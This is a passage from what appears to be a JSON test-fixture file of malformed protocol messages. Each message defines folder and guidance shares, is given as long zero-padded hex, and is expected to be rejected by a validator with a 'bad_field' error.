00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "error": "bad_field" + }, + { + "name": "shares-flags-unknown-bit", + "direction": "to-worker", + "rights": 2, + "hex": "574556310106000004000000780e000001000000020000007372632d30000000000000000000000000000000000000000000000000000000120000010000000092100000000000000c0000002f776f726b73706163652f666f6c646572732f6e6f7465730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077696e7465722d67756964616e6365000000000000000000000000000000000012000001000000001f14000000000000030000002f72756e2f77696e7465722f7368617265642d696e737472756374696f6e730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "error": "bad_field" + }, + { + "name": "shares-guidance-not-read-only", + "direction": "to-worker", + "rights": 2, + "hex": "574556310106000004000000780e000001000000020000007372632d3000000000000000000000000000000000000000000000000000000012000001000000009210000000000000040000002f776f726b73706163652f666f6c646572732f6e6f7465730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077696e7465722d67756964616e6365000000000000000000000000000000000012000001000000001f14000000000000020000002f72756e2f77696e7465722f7368617265642d696e737472756374696f6e730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "error": "bad_field" + }, + { + "name": "shares-winter-flag-on-a-folder-mount", + "direction": "to-worker", + "rights": 2, + "hex": "574556310106000004000000780e000001000000020000007372632d3000000000000000000000000000000000000000000000000000000012000001000000009210000000000000020000002f776f726b73706163652f666f6c646572732f6e6f7465730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077696e7465722d67756964616e6365000000000000000000000000000000000012000001000000001f14000000000000030000002f72756e2f77696e7465722f7368617265642d696e737472756374696f6e730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "error": "bad_field" + }, + { + "name": "shares-tag-not-terminated", + "direction": "to-worker", + "rights": 2, + "hex": "574556310106000004000000780e00000100000002000000616161616161616161616161616161616161616161616161616161616161616112000001000000009210000000000000040000002f776f726b73706163652f666f6c646572732f6e6f7465730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077696e7465722d67756964616e6365000000000000000000000000000000000012000001000000001f14000000000000030000002f72756e2f77696e7465722f7368617265642d696e737472756374696f6e730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "error": "bad_field" + }, + { + "name": "shares-tag-byte-after-nul", + "direction": "to-worker", + "rights": 2, + "hex": "574556310106000004000000780e000001000000020000007372632d3000000000000000000000000000000061000000000000000000000012000001000000009210000000000000040000002f776f726b73706163652f666f6c646572732f6e6f7465730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077696e7465722d67756964616e6365000000000000000000000000000000000012000001000000001f14000000000000030000002f72756e2f77696e7465722f7368617265642d696e737472756374696f6e730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "error": "bad_field" + }, + { + "name": "shares-guest-path-not-a-mount", + "direction": "to-worker", + "rights": 2, + "hex": "574556310106000004000000780e000001000000020000007372632d3000000000000000000000000000000000000000000000000000000012000001000000009210000000000000040000002f776f726b73706163652f7265706f732f6e6f74657365730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077696e7465722d67756964616e6365000000000000000000000000000000000012000001000000001f14000000000000030000002f72756e2f77696e7465722f7368617265642d696e737472756374696f6e730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000